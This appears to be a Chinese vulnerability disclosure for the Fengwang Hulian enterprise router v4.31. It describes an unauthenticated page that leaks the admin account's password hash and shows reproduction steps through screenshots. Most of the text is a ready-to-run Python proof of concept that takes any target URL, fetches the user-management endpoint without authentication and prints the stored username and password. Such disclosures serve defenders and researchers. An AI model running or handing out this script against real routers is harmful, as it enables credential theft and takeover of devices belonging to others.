## 前言 蜂网互联企业级路由器v4.31密码泄露漏洞 ## 漏洞简介 蜂网互联企业级路由器v4.31密码泄露漏洞,密码`hash`直接存放在网页源码里 ## 漏洞危害 蜂网互联企业级路由器v4.31密码泄露,可直接接管路由器 ## 影响范围 ### 产品 > 蜂网互联企业级路由器 ### 版本 > 蜂网互联企业级路由器v4.31 ### 组件 > 蜂网互联企业级路由器v4.31 ## 漏洞复现 ![](img/31.png) 访问/index.htm?PAGE=web链接,此链接未授权访问(里面的操作需要认证): ![](img/32.png) 选择`web账号管理: 查看源代码即可获取到登录密码的哈希值: ![](img/33.png) 解密哈希即可获得密码: ![](img/34.png) /login.html从此链接登录系统: ![](img/35.png) ## POC ```python from optparse import OptionParser import requests import json def getpass(target): r = requests.get( target + '/action/usermanager.htm') #return r.text s=json.loads(r.text) s=str(s['rows']) s=s.replace("[","") s=s.replace("]","") s=s.replace("\'","\"") s2=json.loads(s) print("账号:"+s2['user']+",密码:"+s2['pwd']+"\n登录地址为:"+target+"/login.html") def main(): usage = "usage: python3 %prog -t 目标(格式:http://1.1.1.1)" parser = OptionParser(usage=usage) parser.add_option('-t', dest='target',type='string',help='目标ip') (options, args) = parser.parse_args() target = options.target if target: getpass(target) if __name__ == "__main__": main() ``` ![](img/36.png)